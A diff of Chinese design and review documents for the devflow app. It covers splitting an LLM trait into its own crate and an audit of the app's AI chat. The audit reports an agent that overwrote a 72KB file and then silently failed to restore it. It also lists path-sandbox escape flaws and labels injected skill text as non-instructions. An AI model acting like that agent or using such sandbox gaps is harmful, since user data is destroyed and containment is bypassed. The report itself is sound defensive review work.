@@ -0,0 +1,294 @@
|
|||||||
|
# F-260614-07:df-ai-core trait 下沉拆 crate — 增强设计
|
||||||
|
|
||||||
|
> 将 `LlmProvider` trait + AI 数据类型从 `df-ai` 拆出,下沉到新轻量 crate `df-ai-core`,确立全局 AI 接入标准。本文档为功能决策记录同名条目的详细设计展开。
|
||||||
|
>
|
||||||
|
> 创建:2026-06-14 | 状态:📐 设计定稿待实施 | 前置:无 | 解锁:F-260614-03(对抗评估接 LLM)
|
||||||
|
|
||||||
|
## 1. 背景与问题
|
||||||
|
|
||||||
|
### 1.1 核心矛盾
|
||||||
|
|
||||||
|
`df-ideas` 的 `adversarial.rs` 对抗评估系统当前是纯启发式实现(基于评分生成正反方论点),需要接入 LLM 让论点由 AI 生成。但 `df-ideas` 不应直接依赖 `df-ai`——那会引入 reqwest/futures/eventsource-stream 等重 HTTP 依赖到灵感模块,违反 crate 职责分层。
|
||||||
|
|
||||||
|
### 1.2 当前依赖关系
|
||||||
|
|
||||||
|
```
|
||||||
|
df-core(基础类型,零 AI 依赖)
|
||||||
|
├── df-ai(LLM Provider、上下文管理、流式、工具注册)
|
||||||
|
│ └── 依赖 reqwest、eventsource-stream 等 HTTP 库
|
||||||
|
├── df-ideas(灵感捕获、评分、对抗评估)
|
||||||
|
│ └── ❌ 当前不依赖 df-ai,adversarial.rs 全是硬编码启发式
|
||||||
|
└── df-nodes(工作流节点)
|
||||||
|
└── ✅ 已依赖 df-ai(AiNode 直接调 build_provider)
|
||||||
|
```
|
||||||
|
|
||||||
|
### 1.3 df-ai 现有模块分析
|
||||||
|
|
||||||
|
| 模块 | 行数 | 依赖 | 性质 |
|
||||||
|
|------|------|------|------|
|
||||||
|
| `provider.rs` | 221 | serde, async-trait, futures | 纯 trait + 数据结构,**零 IO** |
|
||||||
|
| `context.rs` | 511 | provider.rs | 消息管理 + token 裁剪,纯内存逻辑 |
|
||||||
|
| `ai_tools.rs` | 179 | provider.rs | 工具注册表,纯内存逻辑 |
|
||||||
|
| `stream.rs` | 45 | provider.rs | StreamCollector,纯内存逻辑 |
|
||||||
|
| `router.rs` | 51 | serde | 模型路由,纯逻辑(当前 TODO 占位) |
|
||||||
|
| `openai_compat.rs` | ~700 | reqwest, eventsource-stream | **HTTP 实现** |
|
||||||
|
| `anthropic_compat.rs` | ~800 | reqwest, eventsource-stream | **HTTP 实现** |
|
||||||
|
| `coordinator.rs` | 30 | — | B 路线占位空壳 |
|
||||||
|
|
||||||
|
## 2. 决策(4 项,均已定稿)
|
||||||
|
|
||||||
|
### 决策 1:df-ai-core 拆分边界 — 仅 trait + 数据结构
|
||||||
|
|
||||||
|
**方案选定**:仅将 `LlmProvider` trait 和请求/响应数据结构下沉到 `df-ai-core`。`ContextManager`、`TokenEstimator`、`AiToolRegistry` 等留在 `df-ai`。
|
||||||
|
|
||||||
|
| 放入 df-ai-core | 留在 df-ai |
|
||||||
|
|---|---|
|
||||||
|
| `LlmProvider` trait | `OpenAICompatProvider` / `AnthropicCompatProvider`(impl) |
|
||||||
|
| `ChatMessage` / `MessageRole` | `build_provider()` 工厂函数 |
|
||||||
|
| `CompletionRequest` / `CompletionResponse` | `ContextManager`(上下文裁剪) |
|
||||||
|
| `ToolDefinition` / `ToolCall` / `ToolCallDelta` | `AiToolRegistry`(工具注册) |
|
||||||
|
| `StreamChunk` / `TokenUsage` / `StreamResult` | `StreamCollector`(流式收集) |
|
||||||
|
| `ProviderFeatures` | `ModelRouter`(模型路由) |
|
||||||
|
| `ToolCallFunction` / `ToolFunction` | `AgentCoordinator`(B 路线占位) |
|
||||||
|
|
||||||
|
**df-ai-core 依赖**:serde, async-trait, futures(极轻,零 HTTP)
|
||||||
|
|
||||||
|
**论据**:
|
||||||
|
|
||||||
|
1. **df-ideas 实际需求极窄** — `adversarial.rs` 接 LLM 只需 `provider.complete()` 一次调用(1 条 system + 1 条 user),不需要流式、上下文裁剪、工具调用。下沉 ContextManager 是无收益的耦合。
|
||||||
|
2. **ContextManager 与 AI Chat 强绑定** — 它的 `build_eviction_units` 保护工具调用三元组、PROTECT_COUNT 保留最近 6 条消息,这些都是 agentic loop 的概念。下沉会让 df-ideas 无意中依赖它不需要的概念。
|
||||||
|
3. **变更频率差异** — trait 定义(provider.rs 结构体部分)自创建以来几乎没变;ContextManager 在 Sprint 8-18 多次迭代裁剪策略。下沉变更频繁的代码违反接口隔离原则。
|
||||||
|
|
||||||
|
**备选方案(否决)**:额外下沉 ContextManager — 无消费方需要,徒增耦合。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 决策 2:provider 注入方式 — 构造注入 `Engine::new(Option<Arc<dyn LlmProvider>>>)`
|
||||||
|
|
||||||
|
**方案选定**:构造注入。`AdversarialEngine` 从无状态静态结构改为持有 `Option<Arc<dyn LlmProvider>>`。
|
||||||
|
|
||||||
|
```rust
|
||||||
|
// 改造后
|
||||||
|
pub struct AdversarialEngine {
|
||||||
|
provider: Option<Arc<dyn LlmProvider>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl AdversarialEngine {
|
||||||
|
/// 注入 LLM provider 构造
|
||||||
|
pub fn new(provider: Arc<dyn LlmProvider>) -> Self { ... }
|
||||||
|
/// 纯启发式模式(无 LLM)
|
||||||
|
pub fn heuristic() -> Self { Self { provider: None } }
|
||||||
|
/// 执行对抗评估
|
||||||
|
pub async fn evaluate(&self, idea: &Idea) -> Result<AdversarialEval> { ... }
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**论据**:
|
||||||
|
|
||||||
|
1. **与现有代码风格一致** — `IdeaPromoter::new(policy)` 已是构造注入模式(`df-ideas/src/promotion.rs`),`AdversarialEngine` 跟随同一模式。
|
||||||
|
2. **Option 天然表达降级** — `None` 时走启发式,`Some` 时走 LLM + 失败降级。类型系统层面清晰表达"有无 LLM"两种模式,与决策 3 的降级策略无缝配合。
|
||||||
|
3. **批量评估友好** — `evaluate_idea` IPC 批量评估 N 个灵感时,构造 1 次 engine,evaluate N 次,provider 只注入一次。参数注入方式每次调用都要传。
|
||||||
|
4. **未来扩展空间** — 后续如需给对抗评估加配置(温度、模型偏好、最大 token),构造注入只需加字段;参数注入则签名越来越长。
|
||||||
|
|
||||||
|
**改造影响面**:
|
||||||
|
- `adversarial.rs`:struct 加字段,`evaluate` 改 `&self`,内部 6 个 `Self::method()` 改 `self.method()`
|
||||||
|
- `idea.rs`(调用方):`AdversarialEngine::evaluate(&idea)` → 先构造再 evaluate
|
||||||
|
- 7 个单元测试:改为 `AdversarialEngine::heuristic().evaluate(&idea)` 或加辅助函数
|
||||||
|
|
||||||
|
**备选方案(否决)**:参数注入 `evaluate(&idea, &dyn LlmProvider)` — 与 IdeaPromoter 模式不一致,批量评估重复传参。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 决策 3:LLM 失败降级策略 — 自动降级到启发式 + warn 日志 + 评估来源标记
|
||||||
|
|
||||||
|
**方案选定**:LLM 调用失败/超时/格式异常时,自动降级到启发式评估,`tracing::warn!` 记录失败原因。返回结果中新增 `evaluated_by` 字段标记评估来源。
|
||||||
|
|
||||||
|
```rust
|
||||||
|
pub async fn evaluate(&self, idea: &Idea) -> Result<AdversarialEval> {
|
||||||
|
match &self.provider {
|
||||||
|
Some(p) => match self.evaluate_with_llm(idea, p).await {
|
||||||
|
Ok(mut eval) => {
|
||||||
|
eval.evaluated_by = EvaluatedBy::Llm;
|
||||||
|
Ok(eval)
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
tracing::warn!("LLM 对抗评估失败, 降级到启发式: {e}");
|
||||||
|
let mut eval = self.evaluate_heuristic(idea);
|
||||||
|
eval.evaluated_by = EvaluatedBy::HeuristicFallback;
|
||||||
|
Ok(eval)
|
||||||
|
}
|
||||||
|
},
|
||||||
|
None => {
|
||||||
|
let mut eval = self.evaluate_heuristic(idea);
|
||||||
|
eval.evaluated_by = EvaluatedBy::Heuristic;
|
||||||
|
Ok(eval)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**新增数据结构**:
|
||||||
|
|
||||||
|
```rust
|
||||||
|
/// 评估来源标记
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
|
||||||
|
pub enum EvaluatedBy {
|
||||||
|
/// LLM 深度评估
|
||||||
|
Llm,
|
||||||
|
/// 启发式评估(无 LLM 配置时的默认模式)
|
||||||
|
Heuristic,
|
||||||
|
/// 启发式降级(LLM 调用失败后 fallback)
|
||||||
|
HeuristicFallback,
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
`AdversarialEval` 新增字段:`pub evaluated_by: EvaluatedBy`
|
||||||
|
|
||||||
|
**论据**:
|
||||||
|
|
||||||
|
1. **启发式不是残次品** — 当前启发式是一个完整的评估系统:正方/反方论点基于真实评分数据生成,有区分度(confidence 区间设计合理),7 个单元测试覆盖高/中/低分路径,与 promotion 系统联动。降级是"降级到够用"而非"降级到垃圾"。
|
||||||
|
2. **保证前端结构完整** — `evaluate_idea` IPC 的调用方(前端 Ideas.vue)期望拿到完整的 `AdversarialEval` 结构。降级保证结构完整返回,前端不会 crash。报错则前端需额外处理错误态。
|
||||||
|
3. **批量评估容错** — 批量评估 50 个灵感时,第 3 个 LLM 失败不影响其余 47 个。报错中断会导致前面的评估结果全部丢失。
|
||||||
|
4. **透明化** — `EvaluatedBy` 标记让前端可显示"AI 深度评估"或"快速评估"标签,避免用户误判评估深度。三种状态(Llm / Heuristic / HeuristicFallback)精确区分"主动选择启发式"与"被动降级"。
|
||||||
|
|
||||||
|
**降级场景分析**:
|
||||||
|
|
||||||
|
| 失败场景 | 发生概率 | 降级影响 | 报错影响 |
|
||||||
|
|---------|---------|---------|---------|
|
||||||
|
| 网络超时(reqwest 无超时,FR-R4 已记) | 高 | 基于评分的评估,论点稍模板化 | 功能完全不可用 |
|
||||||
|
| API Key 无效/额度用尽 | 中 | 同上 | 同上 |
|
||||||
|
| LLM 返回 JSON 解析失败 | 中 | 同上 | 同上 |
|
||||||
|
| 批量评估中部分失败 | 中 | 失败的启发式兜底,成功的保留 LLM 质量 | 全部中断 |
|
||||||
|
|
||||||
|
**备选方案(否决)**:直接报错中断 — 启发式已足够稳定,中断用户体验不可接受。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 决策 4:provider 构造归属 — 应用层(src-tauri)构造并注入
|
||||||
|
|
||||||
|
**方案选定**:provider 的构造(`build_provider`)仍由 `src-tauri` 应用层完成,从 DB 读取 provider 配置后构造 `Box<dyn LlmProvider>`,注入到 `AdversarialEngine`。`df-ideas` 只依赖 `df-ai-core` 的 trait,不负责构造。
|
||||||
|
|
||||||
|
**改造后调用链路**:
|
||||||
|
|
||||||
|
```
|
||||||
|
src-tauri/src/commands/idea.rs::evaluate_idea()
|
||||||
|
→ 从 state.ai_providers (AiProviderRepo) 读 DB 配置(复用 AI Chat 已有逻辑)
|
||||||
|
→ df_ai::build_provider(protocol, base_url, api_key, model) 构造 Box<dyn LlmProvider>
|
||||||
|
→ AdversarialEngine::new(Arc::from(provider))
|
||||||
|
→ engine.evaluate(&idea)
|
||||||
|
```
|
||||||
|
|
||||||
|
**应用层改造(idea.rs)**:
|
||||||
|
|
||||||
|
```rust
|
||||||
|
// 改造前:
|
||||||
|
let eval = df_ideas::adversarial::AdversarialEngine::evaluate(&idea).await?;
|
||||||
|
|
||||||
|
// 改造后:
|
||||||
|
let provider = build_default_provider(&state).await; // 从 DB 读配置 + build_provider
|
||||||
|
let engine = match provider {
|
||||||
|
Some(p) => df_ideas::adversarial::AdversarialEngine::new(p),
|
||||||
|
None => df_ideas::adversarial::AdversarialEngine::heuristic(),
|
||||||
|
};
|
||||||
|
let eval = engine.evaluate(&idea).await?;
|
||||||
|
```
|
||||||
|
|
||||||
|
其中 `build_default_provider` 复用 AI Chat 已有的 provider 选择逻辑(从 `ai_providers` 表取 `is_default=true` 的配置)。
|
||||||
|
|
||||||
|
**论据**:
|
||||||
|
|
||||||
|
1. **df-ideas 依赖 df-ai 违背任务初衷** — 本任务的存在原因就是不让 df-ideas 依赖 df-ai。让 df-ideas 内部构造 provider 需要传入 base_url/api_key/model/protocol,等于强制依赖 df-ai 的 `build_provider` + HTTP 实现。
|
||||||
|
2. **配置访问权属于应用层** — provider 配置(api_key、base_url)存在 SQLite,通过 `AiProviderRepo` 访问,是 `AppState` 的字段。df-ideas 作为领域 crate 不应知道数据库。
|
||||||
|
3. **与 AI Chat 构造路径统一** — AI Chat 也是应用层从 DB 读配置后 `build_provider`,统一构造路径避免分裂。
|
||||||
|
4. **可测试性** — 测试时传 mock provider 构造 engine,不需要真实配置。
|
||||||
|
|
||||||
|
**备选方案(否决)**:df-ideas 内部自行构造 — 直接违背任务前提(df-ideas 不依赖 df-ai),引入循环依赖风险。
|
||||||
|
|
||||||
|
## 3. 实施清单
|
||||||
|
|
||||||
|
### 3.1 新建 df-ai-core crate
|
||||||
|
|
||||||
|
| 文件 | 内容 |
|
||||||
|
|------|------|
|
||||||
|
| `crates/df-ai-core/Cargo.toml` | 依赖 serde, async-trait, futures(极轻) |
|
||||||
|
| `crates/df-ai-core/src/lib.rs` | `pub mod provider;` + re-export |
|
||||||
|
| `crates/df-ai-core/src/provider.rs` | 从 `df-ai/src/provider.rs` 迁移:`LlmProvider` trait + 全部数据结构 |
|
||||||
|
|
||||||
|
迁移内容清单(从 df-ai/src/provider.rs):
|
||||||
|
- `LlmProvider` trait(含 `complete` / `stream` / `embed` / `name` / `supported_features`)
|
||||||
|
- `CompletionRequest` / `CompletionResponse`
|
||||||
|
- `ChatMessage` / `MessageRole`
|
||||||
|
- `ToolDefinition` / `ToolFunction`
|
||||||
|
- `ToolCall` / `ToolCallFunction` / `ToolCallDelta`
|
||||||
|
- `TokenUsage` / `ProviderFeatures` / `StreamChunk`
|
||||||
|
- `StreamResult` 类型别名
|
||||||
|
|
||||||
|
### 3.2 df-ai 改造
|
||||||
|
|
||||||
|
| 改动 | 详情 |
|
||||||
|
|------|------|
|
||||||
|
| `Cargo.toml` | 加 `df-ai-core = { path = "../df-ai-core" }` 依赖 |
|
||||||
|
| `src/provider.rs` | 改为 `pub use df_ai_core::provider::*;`(re-export 保持外部兼容) |
|
||||||
|
| `src/lib.rs` | 加 `pub use df_ai_core;`(可选,供直接引用) |
|
||||||
|
| 其他模块 | 零改动 — `use crate::provider::ChatMessage` 等路径通过 re-export 仍然有效 |
|
||||||
|
|
||||||
|
### 3.3 df-ideas 改造
|
||||||
|
|
||||||
|
| 改动 | 详情 |
|
||||||
|
|------|------|
|
||||||
|
| `Cargo.toml` | 加 `df-ai-core = { path = "../df-ai-core" }` + `async-trait`(如需) |
|
||||||
|
| `src/adversarial.rs` | struct 加 `provider: Option<Arc<dyn LlmProvider>>` 字段;加 `new()` / `heuristic()` 构造方法;`evaluate()` 改 `&self`;加 `evaluate_with_llm()` / `evaluate_heuristic()` 内部方法;加 `EvaluatedBy` 枚举 + `AdversarialEval.evaluated_by` 字段 |
|
||||||
|
| `src/lib.rs` | 无改动 |
|
||||||
|
| 单元测试 | 7 个测试改为 `AdversarialEngine::heuristic().evaluate(&idea)` |
|
||||||
|
|
||||||
|
### 3.4 src-tauri 改造
|
||||||
|
|
||||||
|
| 改动 | 详情 |
|
||||||
|
|------|------|
|
||||||
|
| `commands/idea.rs::evaluate_idea()` | 从 DB 读默认 provider 配置 → `build_provider()` → `AdversarialEngine::new(Arc::from(provider))` → `engine.evaluate(&idea)` |
|
||||||
|
| 新增辅助函数 | `build_default_provider(state) -> Option<Box<dyn LlmProvider>>`(复用 AI Chat provider 选择逻辑) |
|
||||||
|
| `Cargo.toml` | 无改动(已依赖 df-ai + df-ideas) |
|
||||||
|
|
||||||
|
### 3.5 df-nodes 改造
|
||||||
|
|
||||||
|
| 改动 | 详情 |
|
||||||
|
|------|------|
|
||||||
|
| 无实质改动 | df-ai re-export 后 `use df_ai::provider::LlmProvider` 仍可用 |
|
||||||
|
|
||||||
|
### 3.6 workspace Cargo.toml
|
||||||
|
|
||||||
|
| 改动 | 详情 |
|
||||||
|
|------|------|
|
||||||
|
| 无改动 | `members = ["crates/*", "src-tauri"]` 自动包含新 crate |
|
||||||
|
|
||||||
|
## 4. 风险评估
|
||||||
|
|
||||||
|
| 风险项 | 等级 | 缓解措施 |
|
||||||
|
|--------|------|----------|
|
||||||
|
| re-export 路径断裂 | 低 | `pub use df_ai_core::provider::*` 保持 `df_ai::provider::LlmProvider` 路径不变,编译器验证 |
|
||||||
|
| df-ai-core 依赖膨胀 | 低 | 仅 serde + async-trait + futures,与 df-core 同级别 |
|
||||||
|
| 循环依赖 | 无 | df-ai-core(叶)← df-ai(impl)/ df-ideas(use trait),src-tauri 装配,无环 |
|
||||||
|
| 测试回归 | 低 | 7 个 adversarial 单测改为 heuristic() 构造,逻辑不变 |
|
||||||
|
|
||||||
|
## 5. 决策总结
|
||||||
|
|
||||||
|
| # | 决策项 | 选定方案 | 核心论据 | 置信度 |
|
||||||
|
|---|--------|---------|----------|--------|
|
||||||
|
| 1 | df-ai-core 拆分边界 | 仅 trait + 数据结构 | df-ideas 只需 complete() 一次调用;ContextManager 与 agentic loop 强绑定,变更频繁 | ⭐⭐⭐⭐⭐ |
|
||||||
|
| 2 | provider 注入方式 | 构造注入 `Engine::new(Option<Arc<dyn LlmProvider>>)` | 与 IdeaPromoter 模式一致;Option 天然表达降级;批量评估友好 | ⭐⭐⭐⭐⭐ |
|
||||||
|
| 3 | LLM 失败降级策略 | 自动降级 + warn + EvaluatedBy 标记 | 启发式是完整系统非残次品;保证前端结构完整;需补充评估来源标记 | ⭐⭐⭐⭐ |
|
||||||
|
| 4 | provider 构造归属 | 应用层构造注入 | 方案 B 直接违背任务初衷;配置访问权属于应用层;与 AI Chat 构造路径统一 | ⭐⭐⭐⭐⭐ |
|
||||||
|
|
||||||
|
## 6. 解锁关系
|
||||||
|
|
||||||
|
```
|
||||||
|
F-260614-07(本任务:df-ai-core trait 下沉)
|
||||||
|
└── 解锁 F-260614-03(灵感对抗评估接 LLM)
|
||||||
|
└── 解锁后续:scoring.rs 语义级评分接 LLM
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**相关文档**:
|
||||||
|
- [功能决策记录 — AI trait 下沉条目](./功能决策记录-2026-06-14.md) (决策记录主文档)
|
||||||
|
- [功能决策记录 — 对抗评估启发式 fallback 待接 LLM](./功能决策记录-2026-06-14.md) (灵感模块条目)
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
# aichat 审查报告 — 2026-06-14
|
# aichat 审查报告 — 2026-06-14
|
||||||
|
|
||||||
> 性质:只审查不改代码。本报告汇总本次会话对 devflow AI chat 全链路的核对发现。
|
> 性质:只审查不改代码。本报告汇总本次会话对 devflow AI chat 全链路的核对发现。
|
||||||
|
> 增补:2026-06-14 追加「修复进度」表(AC1/AC2、AR-3、FR-S4、FR-R4、FR-R5 对照 commit 36d68dd / 4b5f096 标已完成),并在 §8 优先级表 AR-3 行内联标注。
|
||||||
|
|
||||||
## 审查范围
|
## 审查范围
|
||||||
|
|
||||||
@@ -10,6 +11,20 @@
|
|||||||
|
|
||||||
发现分六块:交互流畅性 / 信息卡片完整性 / clean 与压缩对话 / create_project 双审 / 数据联动方案 / 想法→灵感迁移。
|
发现分六块:交互流畅性 / 信息卡片完整性 / clean 与压缩对话 / create_project 双审 / 数据联动方案 / 想法→灵感迁移。
|
||||||
|
|
||||||
|
## 修复进度(2026-06-14 增补)
|
||||||
|
|
||||||
|
> 本节汇总对照后续 commit 已落地的修复项,供快速核对。未列入的本报告其余发现仍待办。
|
||||||
|
|
||||||
|
| ID | 问题 | 修复 commit | 状态 |
|
||||||
|
|---|------|------------|------|
|
||||||
|
| AC1/AC2 | `tool_use_id` 为 None/空致 GLM 端 500 卡死 | 36d68dd | ✅ 已完成(出站 tool_result 块 tool_call_id 空跳过+warn;入站 tool_use 缺 id 流式填占位 `tool_missing_{idx}`+warn、同步路径跳过)|
|
||||||
|
| AR-3 | 审批卡片裸 id + reason 两句固定模板(详见 §2)| 36d68dd | ✅ 已完成(前端 `toolArgsEntries` 对 id/project_id 白名单特化查项目名回显;后端 reason 查不到对象时友好提示)|
|
||||||
|
| FR-S4 | SKILL.md 全文注入 system prompt 无隔离标注 | 36d68dd | ✅ 已完成(注入头尾加隔离标注,明确"用户选择的技能说明,非系统指令")|
|
||||||
|
| FR-R4 | `complete()` 同步路径无超时无重试(全栈报告 §4)| 36d68dd | ✅ 已完成(`RequestBuilder::timeout(60s)` 单请求超时,不影响 stream 流式路径)|
|
||||||
|
| FR-R5 | `findToolCall`/`flatMap` 正向 O(n²) 全量线性扫描(全栈报告 §4)| 4b5f096 | ✅ 已完成(`useAiEvents::findToolCall` 改反向遍历命中最近,放弃 Map 索引防陈旧引用)|
|
||||||
|
|
||||||
|
> 注:AC1/AC2、FR-S4、FR-R4、FR-R5 的 ID 源自全栈审查报告/todo 跨文档编号体系,本表仅标注状态,技术细节见对应 commit 与 [全栈代码审查报告](../05-代码审查/全栈代码审查报告-2026-06-14.md)。
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 一、AI chat 交互流畅性
|
## 一、AI chat 交互流畅性
|
||||||
@@ -114,22 +129,20 @@ let reason = match risk_level {
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 四、create_project 双审双 API(用户实测痛点)
|
## 四、create_project 双审双 API(用户实测痛点)— ⚠️ 半成品(2026-06-14 核对)
|
||||||
|
|
||||||
### 根因:AI 工具 schema 比 IPC 接口窄
|
### 现状:已改一半
|
||||||
|
- ✅ schema 已加 `path`/`stack`(`tool_registry.rs:148-151`),描述已改"可选传 path/stack 一步完成"(`:147`)
|
||||||
|
- ❌ **handler 仍写死 `path: None, stack: None`(`:162`),未读 args** → schema 假支持
|
||||||
|
|
||||||
| 层 | create_project 参数 | 建带目录项目 |
|
### 后果
|
||||||
|----|---------------------|-------------|
|
LLM 见 schema 有 path 会传,handler 忽略 → 建出空项目 → 仍需 `bind_directory` 二审。**双审未解,反变误导**(schema 承诺了 handler 不兑现)。比原始"schema 无 path"更糟。
|
||||||
| IPC `create_project`(`project.rs:43-83`) | name, description, idea_id, **path, stack** | ✅ 一步完成(校验+防重复+探测 stack) |
|
|
||||||
| AI 工具 `create_project`(`tool_registry.rs:148`) | name, description(**无 path**) | ❌ 只能建空项目,handler 写死 path=None(:159) |
|
|
||||||
|
|
||||||
→ LLM 建带目录项目被逼拆两步:`create_project`(Medium 审1 + LLM 轮次1)→ `bind_directory`(Medium 审2 + LLM 轮次2)= **双审批双 API**。IPC 本可一步完成,AI 工具没用上。
|
### 待改(别再加 schema,已加完)
|
||||||
|
handler 从 args 读 `path`/`stack`,复用 IPC `create_project`(`project.rs:43-83`)的校验+防重复+`scan::detect_stack` 探测逻辑。`bind_directory` 保留改绑用。
|
||||||
### 方案
|
|
||||||
`create_project` AI 工具 schema 加可选 `path`/`stack`(对齐 IPC `CreateProjectInput`),handler 复用 IPC 的绑定+探测逻辑。`bind_directory` 保留用于后期改绑(relocate)。
|
|
||||||
|
|
||||||
### 关联
|
### 关联
|
||||||
问题 1 修好后 `bind_directory` 使用频率大降(只剩改绑),第二章 bind_directory 信息缺口随之缓解;但 bind_directory 仍需补信息完整性。
|
handler 接上后 `bind_directory` 使用频率大降(只剩改绑),第二章 bind_directory 信息缺口随之缓解;但 bind_directory 仍需补信息完整性。
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -177,7 +190,7 @@ let reason = match risk_level {
|
|||||||
用 Ideas/Idea(英文术语),若产品要求统一 Inspiration 也需改,待定。
|
用 Ideas/Idea(英文术语),若产品要求统一 Inspiration 也需改,待定。
|
||||||
|
|
||||||
### docs + crates 注释
|
### docs + crates 注释
|
||||||
大量"想法"(低优先),含文件名 `docs/03-模块文档/想法探索-对抗式评估.md`。
|
大量"想法"(低优先),含文件名 `docs/03-模块文档/想法探索-对抗式评估-2026-06-12.md`。
|
||||||
|
|
||||||
### 根因
|
### 根因
|
||||||
上次迁移只改 ideas.ts 页头区,详情/操作/模态框 + 其他 i18n + 后端错误 + LLM 工具描述未跟进。
|
上次迁移只改 ideas.ts 页头区,详情/操作/模态框 + 其他 i18n + 后端错误 + LLM 工具描述未跟进。
|
||||||
@@ -205,8 +218,8 @@ let reason = match risk_level {
|
|||||||
|------|------|------|
|
|------|------|------|
|
||||||
| P0 | H1 流式 Markdown 重解析 | 流式态纯文本/增量渲染,完成后再 markdown;rAF 合并 |
|
| P0 | H1 流式 Markdown 重解析 | 流式态纯文本/增量渲染,完成后再 markdown;rAF 合并 |
|
||||||
| P0 | H2 审批态新建对话卡死 | `ai_conversation_create` 加 generating 守卫 |
|
| P0 | H2 审批态新建对话卡死 | `ai_conversation_create` 加 generating 守卫 |
|
||||||
| P0 | 第二章 审批卡片裸 id + reason 模板 | 后端 reason 拼对象名;前端 id→name |
|
| P0 | 第二章 审批卡片裸 id + reason 模板(✅ 已完成 commit 36d68dd / AR-3)| 后端 reason 拼对象名;前端 id→name |
|
||||||
| P0 | 第四章 create_project 双审 | AI 工具 schema 加 path/stack |
|
| P0 | 第四章 create_project 双审(⚠️ 半成品:schema 已加 handler 没接) | handler 读 args 的 path/stack,复用 IPC `project.rs:43-83` 探测逻辑 |
|
||||||
| P1 | H3 审批态 stop 无兜底 | stopChat 本地先复位 streaming |
|
| P1 | H3 审批态 stop 无兜底 | stopChat 本地先复位 streaming |
|
||||||
| P1 | M3 Low 工具失败语义 | 统一 AiError 后 loop 也退出,或不 emit AiError |
|
| P1 | M3 Low 工具失败语义 | 统一 AiError 后 loop 也退出,或不 emit AiError |
|
||||||
| P1 | 第三章 clean 无入口 | AiChat 加清空按钮 + 后端真删当前对话消息 |
|
| P1 | 第三章 clean 无入口 | AiChat 加清空按钮 + 后端真删当前对话消息 |
|
||||||
@@ -217,6 +230,66 @@ let reason = match risk_level {
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## 九、write_file 覆盖事故与可靠性风险(2026-06-14 实测)
|
||||||
|
|
||||||
|
### 事故经过
|
||||||
|
|
||||||
|
会话 `3473fcb7`(2026-06-14 22:16)AI 拟对 `PROGRESS.md` 做 3 处精准更新(头部当前阶段、全局问题 #9 状态、新增 #10),但**误用 `write_file`(全文覆盖语义)只传了头部 3 行 content**,把原 **762行/72KB** 覆盖成 **248字节**。AI 自查发现(msg[59-61])尝试凭记忆重建恢复(write_file 17956 字符),**但该恢复写入未生效**(会话中断),用户无感知「恢复失败」。
|
||||||
|
|
||||||
|
### 暴露的潜在问题
|
||||||
|
|
||||||
|
| # | 问题 | 性质 | 修法方向 |
|
||||||
|
|---|------|------|----------|
|
||||||
|
| FR-S7 | write_file 覆盖已有非空文件无确认/备份 | **根因** | 覆盖非空文件前自动备份 `.bak`;或检测目标存在强制走 edit_file |
|
||||||
|
| 关联-1 | 写入后无「预期 vs 实际」校验 | 可靠性 | write_file 返回新旧大小,差异巨大(如原 72KB→新 248B)时 warn/阻断 |
|
||||||
|
| 关联-2 | AI 自恢复失败无感知 | agent 可靠性 | 工具失败/中断需明确通知用户,不静默吞掉 |
|
||||||
|
| 备份 | DB 50KB 截断致无法从 DB 完整恢复 | 备份策略 | 长文档丢失仅 git 可救;考虑关键文件写前 git 快照 |
|
||||||
|
|
||||||
|
### 恢复方式与教训
|
||||||
|
|
||||||
|
DB 中 PROGRESS.md 原文已被 `TRUNCATE_THRESHOLD=50KB`(`conversation.rs:55`)截断(头尾拼接、中段省略),AI 重建版仅 17.9KB 残缺。**最终靠 `git restore PROGRESS.md`(HEAD 版本 762行/72KB 完整)恢复**。教训:本地文档类资产的实际保护层是 **git** 而非 DB 会话历史——会话历史是「对话快照」非「文件备份」。
|
||||||
|
|
||||||
|
### 关联待办
|
||||||
|
|
||||||
|
- `todo.md` FR-S7(write_file 覆盖保护)— P0 安全
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 十、文件工具系统性走查(2026-06-14,3-agent review 之外的补充走查)
|
||||||
|
|
||||||
|
`tool_registry.rs` 实际注册 **3 个文件工具**:`read_file`(:394) / `list_directory`(:428) / `write_file`(:444)。其余 edit_file/delete_file/rename_file/move_file/search_content/append_file **均未实现**——功能缺口,迫使 LLM 滥用 write_file 全量覆写,**放大 FR-S7 危害**。
|
||||||
|
|
||||||
|
### P0 — 阻断
|
||||||
|
|
||||||
|
| # | 问题 | 位置 | 修法方向 |
|
||||||
|
|---|------|------|----------|
|
||||||
|
| **FR-S8** | **路径 sandbox 系统性逃逸**:①`validate_path` 子串 `..` 检测对**绝对路径无效**(`C:\Windows\...` 不含 `..` 绕过);②canonicalize 仅对**已存在路径**跑,write_file 新建文件 + symlink 父目录场景失效;③Windows `Path::starts_with` 大小写敏感而文件系统不敏感,可误判/漏判 | :19-21, :53-69 | 统一 canonicalize(不存在路径取最长存在前缀)+ 大小写不敏感 prefix 比较 + parent 也校验 |
|
||||||
|
| FR-S7(放大) | write_file 定级 Medium 可自动批准 + 非原子覆写,覆写任意已存在非空文件即数据丢失(见 §9) | :446, :461 | 覆写非空文件升 High 审批 + `.bak` 备份 + 原子写(tmp→rename) |
|
||||||
|
|
||||||
|
### P1 — 重要
|
||||||
|
|
||||||
|
| # | 问题 | 位置 |
|
||||||
|
|---|------|------|
|
||||||
|
| P1-1 | write_file 非原子写:中途崩溃留半截文件丢原内容(叠加 FR-S7 数据彻底丢失) | :461 |
|
||||||
|
